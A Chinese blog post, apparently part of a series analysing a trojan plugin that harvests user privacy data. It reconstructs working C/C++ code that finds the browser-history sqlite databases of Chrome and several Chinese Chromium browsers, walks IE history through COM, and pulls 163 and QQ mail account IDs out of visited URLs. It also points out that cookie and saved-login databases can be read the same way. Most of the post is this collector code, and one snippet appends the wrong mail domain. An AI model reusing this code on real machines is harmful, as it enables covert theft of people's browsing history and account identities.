在那个只有零和一的世界里,对零的向往,终究是一的执着。

正在下载:collect_user_info2__ie.zip 收集用户隐私的木马插件分析:第二部分

首先,介绍这5款浏览器的历史数据库文件存放的位置,以谷歌浏览器为例:


#include <Shlobj.h>
#pragma comment(lib, "Shell32.lib")
 
char buf_path[MAX_PATH] = {0};
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\google\\chrome\\User Data\\default\\history", buf_path);
//For example: C:\Documents and Settings\Administrator\Local Settings\Application Data\google\chrome\User Data\default\history
if (PathFileExistsA(buf_path))
{
    //parse db record
}

其他4款浏览器对应的历史数据文件:


//360安全浏览器(360se6)
GetEnvironmentVariableA("APPDATA", buf_path, MAX_PATH);
wsprintf(buf_path, "%s\\360se6\\User Data\\Default\\History", buf_path);
 
//QQ浏览器
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\Tencent\\QQBrowser\\User Data\\Default\\History", buf_path);
 
//猎豹
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\liebao\\User Data\\Default\\History", buf_path);
 
//世界之窗
SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\theworld6\\User Data\\Default\\History", buf_path);

注意到360安全浏览器比较特别一点,存放目录与其他四款不太相同,位于appdata目录下;另外,360的另外一款极速浏览器也使用了chrome内核,其对应的历史数据库文件位置在:


SHGetSpecialFolderPathA(NULL, buf_path, CSIDL_LOCAL_APPDATA, 0);
wsprintf(buf_path, "%s\\360Chrome\\Chrome\\User Data\\Default\\History", buf_path);

接着,介绍这个历史数据库文件格式,它使用的是轻便型数据库sqlite3,整个文件即是一个数据库,里面存放各种数据表记录。如果稍微看一下chrome内核安装目录的话,会发现里面的很多数据文件其实都使用的是这种数据库格式,如cookie、登录数据表单等都有其对应的数据库文件,只要拿到这些文件,并使用sqlite数据库查看工具解析,就能获取用户敏感的隐私信息,如:

浏览器登录表单信息

这个是浏览器在给我们提供登录便利的同时,留下的巨大的数据安全隐患,令人不寒而栗。然后,回到插件解析的用户浏览历史的那个数据库文件,先看一下如何解析sqlite3数据库:


#include "sqlite3.h"
 
sqlite3 *db = 0;
int ret = sqlite3_open(buf_path, &db);
if(ret == SQLITE_OK)
{
    char *errmsg = NULL;
    ret = sqlite3_exec(db, "select url,last_visit_time,title from urls", callbackGetUrlMail, NULL, &errmsg);
    sqlite3_close(db);
}

这里,我在网上找了份开源的解析代码(见附件),只要引入sqlite3头文件即可使用如上函数接口,执行查询语句查询urls这张表的信息:

浏览器历史浏览信息

既然这张表能查看用户历史浏览的信息,那么插件就可以通过遍历该表的记录来筛选它关心的信息,其功能通过以下这个回调函数实现:


int callbackGetUrlMail(void *para, int n_column, char  **column_value, char **column_name) 
{
    for(int i=0; i<n_column; i++) 
    {
        if (strcmp(column_name[i], "url") == 0)
        {
            get_url_mail_address(column_value[i]);
        }
    }
    return 0;
}
 
void get_url_mail_address(char *url)
{
    if(strstr(url, "mail.163"))
    {
        char *lpPos = strstr(url, "uid=");
        char lp163Mail[MAX_PATH] = {0};
        if (lpPos != NULL)
        {
            lpPos += 4;
            int len = strlen(url) - (lpPos - url);
            for (int j=0; j<len; j++)
            {
                if (lpPos[j] == '&')
                {
                    memcpy(lp163Mail, lpPos, j);
                    break;
                }
            }
            sprintf(lp163Mail, "%s@qq.com", lp163Mail);
            printf("%s\n", lp163Mail);
        }
    }
 
    if(strstr(url, "mail.qq"))
    {
        char *lpPos = strstr(url, "uin=");
        char lpQQMail[MAX_PATH] = {0};
        if (lpPos != NULL)
        {
            lpPos += 4;
            int len = strlen(url) - (lpPos - url);
            for (int j=0; j<len; j++)
            {
                if (lpPos[j] == '&')
                {
                    memcpy(lpQQMail, lpPos, j);
                    break;
                }
            }
            sprintf(lpQQMail, "%s@qq.com", lpQQMail);
            printf("%s\n", lpQQMail);
        }
    }
 
    /*if(strstr(url, "password=") || strstr(url, "passwd=") || strstr(url, "pwd="))
    {
        printf("%s\n", url);
    }*/
}

主要就是遍历这张表每条记录的url字段,看其是否包含163或者qq邮箱,并将其取出的过程。

看样子,此款插件收集的信息还是挺有针对性的,并不是所有敏感信息统统吃掉,但即便如此,我们更需要担忧,可以猜测其目的是希望通过这些收集的敏感信息能快速对应到特定的人。本部分到此结束,下一部分将会介绍IE浏览器的历史浏览信息收集。

下面介绍IE浏览器的历史浏览信息收集,主要思路是通过COM对象创建一个IUrlHistoryStg实例,并遍历其中的url,最后进行过滤取邮箱地址:


#include <UrlHist.h>
#pragma comment(lib, "Ole32.lib")
 
void get_ie_his()
{
    HRESULT hr = CoInitialize(NULL);
    if(SUCCEEDED(hr))
    {
        IUrlHistoryStg *pHistory;
        IEnumSTATURL *pEnum;
        if(FAILED(CoCreateInstance(CLSID_CUrlHistory, NULL,
            CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
            IID_IUrlHistoryStg, (void**)&pHistory)))
        {
            return;
        }
 
        if(FAILED(pHistory->EnumUrls(&pEnum)))
        {
            return;
        }
 
        STATURL stUrl;
        ULONG uFetched;
        while(SUCCEEDED(pEnum->Next(1, &stUrl, &uFetched)))
        {
            if(uFetched == 0)
            {
                break;
            }
 
            char lpUrl[0x100] = {0};
            WideCharToMultiByte(0, 0, stUrl.pwcsUrl, wcslen(stUrl.pwcsUrl), lpUrl, 0x100, 0, 0);
            if (strstr(lpUrl, "http") || strstr(lpUrl, "https"))
            {
                get_url_mail_address(lpUrl);
            } 
            /*else
            {
                printf("%s\n", lpUrl);
            }*/
        }
 
        pHistory->Release();
        CoUninitialize();
    }
}

OK,好吧,其实也不难,很古老的代码,只不过不是很常见而已,本部分至此结束。